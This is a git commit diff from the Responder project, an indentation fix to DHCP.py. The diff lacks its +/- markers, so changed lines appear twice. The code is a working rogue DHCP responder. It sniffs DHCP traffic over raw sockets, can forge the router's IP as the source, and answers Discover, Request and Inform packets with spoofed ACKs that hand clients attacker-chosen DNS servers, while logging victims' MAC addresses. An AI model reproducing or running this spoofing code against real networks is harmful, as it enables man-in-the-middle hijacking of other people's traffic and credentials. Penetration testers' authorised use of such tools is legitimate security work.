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https://github.com/lgandx/Responder.git
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fixed: identation.
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lgandx
parent
4558861ce2
commit
5c9fec923c
4 changed files with 1870 additions and 1875 deletions
192
DHCP.py
192
DHCP.py
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@ -50,29 +50,29 @@ def ShowWelcome():
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print Message
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if options.OURIP is None:
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print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
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parser.print_help()
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exit(-1)
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print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
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parser.print_help()
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exit(-1)
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if options.Interface is None:
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print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
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parser.print_help()
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exit(-1)
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print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
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parser.print_help()
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exit(-1)
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if options.RouterIP is None:
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print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
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parser.print_help()
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exit(-1)
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print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
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parser.print_help()
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exit(-1)
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if options.DNSIP is None:
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print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
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parser.print_help()
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exit(-1)
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print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
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parser.print_help()
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exit(-1)
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if options.DNSIP2 is None:
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print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
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parser.print_help()
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exit(-1)
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print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
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parser.print_help()
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exit(-1)
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ShowWelcome()
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@ -96,25 +96,25 @@ Spoof = options.Spoof
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Request = options.Request
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if Spoof:
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DHCPSERVER = ROUTERIP
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DHCPSERVER = ROUTERIP
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def SpoofIP(Spoof):
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if Spoof:
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return ROUTERIP
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return ROUTERIP
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else:
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return OURIP
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return OURIP
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def RespondToSpecificHost(RespondTo):
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if len(RespondTo)>=1 and RespondTo != ['']:
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return True
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return True
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else:
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return False
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return False
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def RespondToIPScope(RespondTo, ClientIp):
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if ClientIp in RespondTo:
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return True
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return True
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else:
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return False
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return False
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class Packet():
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fields = OrderedDict([
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@ -270,21 +270,21 @@ def ParseMac(data):
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def IsUDP(data):
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if data[0][23:24] == "\x11":
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return True
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return True
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if data[0][23:24] == "\x06":
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return False
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return False
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def ParseSrcDSTAddr(data):
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SrcIP = inet_ntoa(data[0][26:30])
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DstIP = inet_ntoa(data[0][30:34])
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SrcPort = struct.unpack('>H',data[0][34:36])[0]
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DstPort = struct.unpack('>H',data[0][36:38])[0]
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return SrcIP,SrcPort,DstIP,DstPort
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SrcIP = inet_ntoa(data[0][26:30])
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DstIP = inet_ntoa(data[0][30:34])
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SrcPort = struct.unpack('>H',data[0][34:36])[0]
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DstPort = struct.unpack('>H',data[0][36:38])[0]
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return SrcIP,SrcPort,DstIP,DstPort
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def FindIP(data):
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IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
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return ''.join(IP[0:4])
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def ParseDHCPCode(data):
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PTid = data[4:8]
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Seconds = data[8:10]
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@ -294,88 +294,86 @@ def ParseDHCPCode(data):
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OpCode = data[242:243]
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RequestIP = data[245:249]
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if OpCode == "\x08":
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i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP))
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p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
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p.calculate()
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u = UDP(Data = p)
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u.calculate()
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for x in range(1):
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SendDHCP(str(i)+str(u),(CurrentIP,68))
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return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
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i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP))
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p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
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p.calculate()
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u = UDP(Data = p)
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u.calculate()
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for x in range(1):
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SendDHCP(str(i)+str(u),(CurrentIP,68))
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return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
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if OpCode == "\x03":
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if Request:
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IP = FindIP(data)
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if IP:
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IPConv = inet_ntoa(IP)
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if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
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i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
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p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
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p.calculate()
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u = UDP(Data = p)
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u.calculate()
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for x in range(1):
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SendDHCP(str(i)+str(u),(IPConv,68))
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return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
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if RespondToSpecificHost(RespondTo) == False:
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i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
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p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
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p.calculate()
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u = UDP(Data = p)
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u.calculate()
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for x in range(1):
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SendDHCP(str(i)+str(u),(IPConv,68))
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return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
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if Request:
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IP = FindIP(data)
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if IP:
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IPConv = inet_ntoa(IP)
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if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
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i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
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p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
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p.calculate()
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u = UDP(Data = p)
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u.calculate()
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for x in range(1):
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SendDHCP(str(i)+str(u),(IPConv,68))
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return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
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if RespondToSpecificHost(RespondTo) == False:
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i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
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p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
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p.calculate()
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u = UDP(Data = p)
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u.calculate()
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for x in range(1):
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SendDHCP(str(i)+str(u),(IPConv,68))
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return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
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if OpCode == "\x01":
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if Request:
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IP = FindIP(data)
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if IP:
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IPConv = inet_ntoa(IP)
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if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
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i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
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p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
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p.calculate()
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u = UDP(Data = p)
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u.calculate()
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for x in range(1):
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SendDHCP(str(i)+str(u),(IPConv,0))
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return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
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if RespondToSpecificHost(RespondTo) == False:
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i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
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p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
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p.calculate()
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u = UDP(Data = p)
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u.calculate()
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for x in range(1):
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SendDHCP(str(i)+str(u),(IPConv,0))
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return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
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if Request:
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IP = FindIP(data)
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if IP:
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IPConv = inet_ntoa(IP)
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if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
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i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
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p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
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p.calculate()
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u = UDP(Data = p)
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u.calculate()
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for x in range(1):
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SendDHCP(str(i)+str(u),(IPConv,0))
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return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
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if RespondToSpecificHost(RespondTo) == False:
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i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
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p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
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p.calculate()
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u = UDP(Data = p)
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u.calculate()
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for x in range(1):
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SendDHCP(str(i)+str(u),(IPConv,0))
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return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
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else:
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return False
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return False
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def SendDHCP(packet,Host):
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Protocol = 0x0800
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s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
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s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
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s.sendto(packet, Host)
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Protocol = 0x0800
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s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
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s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
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s.sendto(packet, Host)
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def SniffUDPMac():
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s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
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Protocol = 0x0800
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s.bind((Interface, Protocol))
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while True:
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data = s.recvfrom(65535)
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if IsUDP(data):
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SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data)
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if SrcPort == 67 or DstPort == 67:
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Message = ParseDHCPCode(data[0][42:])
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if Message:
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print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
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print Message
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data = s.recvfrom(65535)
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if IsUDP(data):
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SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data)
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if SrcPort == 67 or DstPort == 67:
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Message = ParseDHCPCode(data[0][42:])
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if Message:
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print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
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print Message
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SniffUDPMac()
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